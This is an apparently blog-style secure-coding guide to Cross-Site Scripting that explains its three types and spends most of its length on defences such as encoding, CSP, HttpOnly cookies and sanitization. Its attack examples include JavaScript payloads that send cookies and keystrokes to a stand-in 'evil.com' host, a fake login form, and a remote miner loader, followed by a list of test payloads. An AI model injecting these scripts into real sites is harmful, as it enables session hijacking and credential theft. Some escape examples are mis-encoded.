Introduction
Cross-Site Scripting (XSS) is one of the most common and dangerous web vulnerabilities. It allows attackers to inject malicious scripts into web pages viewed by other users. When successful, XSS can steal session cookies, redirect users to phishing sites, log keystrokes, or completely take over a user’s browser session.
XSS consistently appears in the OWASP Top 10 and affects sites of all sizes โ from small blogs to major platforms.
How XSS Works
The core mechanism: an attacker injects JavaScript into a page, and the victim’s browser executes it in the context of the trusted site.
Attacker injects: <script>document.location='https://evil.com/?c='+document.cookie</script>
Victim visits page โ browser executes the script โ cookies sent to attacker
Three Types of XSS
1. Stored XSS (Persistent)
The malicious script is saved in the database and served to every user who views the affected page. This is the most dangerous type.
Example: A comment field that doesn’t sanitize input:
<!-- Attacker submits this as a comment -->
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>
<!-- Every user who views the page executes this script -->
Real-world impact: The attacker’s script runs for every visitor โ potentially thousands of users.
2. Reflected XSS
The malicious script is embedded in a URL and reflected back in the response. The victim must click a crafted link.
https://example.com/search?q=<script>alert(document.cookie)</script>
<!-- If the server renders: -->
<p>Results for: <script>alert(document.cookie)</script></p>
Attack vector: Phishing emails, social media posts, or shortened URLs containing the malicious payload.
3. DOM-Based XSS
The vulnerability exists entirely in client-side JavaScript โ the server never sees the malicious payload.
// Vulnerable code: reads from URL hash and writes to DOM
const name = location.hash.slice(1);
document.getElementById('greeting').innerHTML = 'Hello, ' + name;
// Attack URL:
// https://example.com/page#<img src=x onerror=alert(document.cookie)>
What Attackers Can Do with XSS
Steal Session Cookies
// Attacker's injected script
new Image().src = 'https://evil.com/steal?c=' + encodeURIComponent(document.cookie);
If the session cookie doesn’t have HttpOnly, the attacker can hijack the user’s session.
Forge Login Forms
// Replace the login form with a fake one
document.body.innerHTML = `
<form action="https://evil.com/capture" method="POST">
<input name="email" placeholder="Email">
<input name="password" type="password" placeholder="Password">
<button>Log In</button>
</form>
`;
Keylogging
document.addEventListener('keypress', function(e) {
fetch('https://evil.com/keys?k=' + e.key);
});
Redirect to Phishing Site
window.location = 'https://evil-clone-of-your-bank.com';
Cryptocurrency Mining
// Load a crypto miner in the victim's browser
const script = document.createElement('script');
script.src = 'https://evil.com/miner.js';
document.head.appendChild(script);
Prevention: Output Encoding
The primary defense is encoding output โ converting special characters to their HTML entity equivalents so the browser renders them as text, not code.
HTML Encoding
# Python โ use html.escape()
import html
user_input = '<script>alert("xss")</script>'
safe = html.escape(user_input)
# => '<script>alert("xss")</script>'
// JavaScript โ encode before inserting into DOM
function escapeHtml(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// SAFE: use textContent, not innerHTML
document.getElementById('output').textContent = userInput;
// UNSAFE: innerHTML parses HTML
document.getElementById('output').innerHTML = userInput; // XSS risk!
# Rails โ automatic HTML escaping in ERB
<%= user.name %> # safe โ auto-escaped
<%= raw user.name %> # UNSAFE โ bypasses escaping
<%= user.name.html_safe %> # UNSAFE โ marks as safe without escaping
Context-Specific Encoding
Different contexts require different encoding:
<!-- HTML context: encode HTML entities -->
<p>Hello, <%= html_encode(name) %></p>
<!-- Attribute context: encode for attributes -->
<input value="<%= attr_encode(value) %>">
<!-- JavaScript context: encode for JS strings -->
<script>var name = "<%= js_encode(name) %>";</script>
<!-- URL context: percent-encode -->
<a href="/search?q=<%= url_encode(query) %>">Search</a>
Prevention: Content Security Policy (CSP)
CSP is an HTTP header that tells the browser which sources of content are trusted. It’s one of the most effective XSS mitigations:
# Strict CSP โ only allow scripts from your own domain
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
# Allow scripts from CDN
Content-Security-Policy: script-src 'self' https://cdn.example.com
# Use nonces for inline scripts (each request gets a unique nonce)
Content-Security-Policy: script-src 'nonce-{random-value}'
<!-- Only scripts with the matching nonce execute -->
<script nonce="abc123xyz">
// This script runs
</script>
<script>
// This script is BLOCKED by CSP
alert('xss');
</script>
Nginx configuration:
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-$request_id'; object-src 'none'" always;
Prevention: HttpOnly and Secure Cookies
Prevent JavaScript from reading session cookies:
# Python/Flask
response.set_cookie(
'session',
value=session_token,
httponly=True, # not accessible via document.cookie
secure=True, # only sent over HTTPS
samesite='Strict'
)
# Rails โ config/initializers/session_store.rb
Rails.application.config.session_store :cookie_store,
key: '_app_session',
httponly: true,
secure: Rails.env.production?,
same_site: :strict
Even if XSS occurs, HttpOnly cookies can’t be stolen via JavaScript.
Prevention: Framework Protections
Modern frameworks auto-escape output by default:
<!-- Rails ERB โ auto-escaped -->
<%= user.name %> <!-- safe -->
<!-- Django templates โ auto-escaped -->
{{ user.name }} <!-- safe -->
{{ user.name|safe }} <!-- UNSAFE โ disables escaping -->
<!-- React JSX โ auto-escaped -->
<div>{userInput}</div> <!-- safe -->
<div dangerouslySetInnerHTML={{__html: userInput}} /> <!-- UNSAFE -->
<!-- Vue.js โ auto-escaped -->
<div>{{ userInput }}</div> <!-- safe -->
<div v-html="userInput"></div> <!-- UNSAFE -->
Prevention: Input Validation and Sanitization
For cases where you must allow some HTML (e.g., rich text editors), use a sanitization library:
# Python โ bleach
import bleach
allowed_tags = ['p', 'b', 'i', 'u', 'a', 'ul', 'ol', 'li']
allowed_attrs = {'a': ['href', 'title']}
clean = bleach.clean(user_html, tags=allowed_tags, attributes=allowed_attrs)
# Rails โ sanitize helper
sanitize(user_html, tags: %w[p b i u a], attributes: %w[href title])
# Or strip all HTML
strip_tags(user_html)
// JavaScript โ DOMPurify
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(dirtyHtml);
document.getElementById('content').innerHTML = clean;
Important: Use a whitelist (allow only known-safe tags), not a blacklist (block known-bad tags). Blacklists are always incomplete.
DOM XSS Prevention
Be careful with JavaScript APIs that parse HTML:
// UNSAFE APIs โ avoid with user input
element.innerHTML = userInput;
element.outerHTML = userInput;
document.write(userInput);
eval(userInput);
setTimeout(userInput, 0); // string form
new Function(userInput)();
// SAFE alternatives
element.textContent = userInput; // renders as text, not HTML
element.setAttribute('value', userInput);
Testing for XSS
Basic test payloads to check if a field is vulnerable:
<!-- Basic alert test -->
<script>alert('XSS')</script>
<!-- Event handler -->
<img src=x onerror=alert('XSS')>
<!-- Without quotes -->
<svg onload=alert('XSS')>
<!-- Encoded -->
<script>alert('XSS')</script>
<!-- JavaScript URL -->
<a href="javascript:alert('XSS')">click</a>
Use tools like OWASP ZAP or Burp Suite for systematic XSS testing.
XSS Prevention Checklist
- All user input is HTML-encoded before rendering
-
innerHTMLis never used with user-controlled data - Content Security Policy header is set
- Session cookies have
HttpOnlyandSecureflags - Rich text input is sanitized with a whitelist library
- Framework auto-escaping is enabled (not disabled)
- DOM-based XSS sources (
location.hash,document.referrer) are handled safely
Resources
- OWASP XSS Prevention Cheat Sheet
- OWASP DOM-based XSS Prevention
- MDN: Content Security Policy
- DOMPurify
- PortSwigger XSS Labs
Comments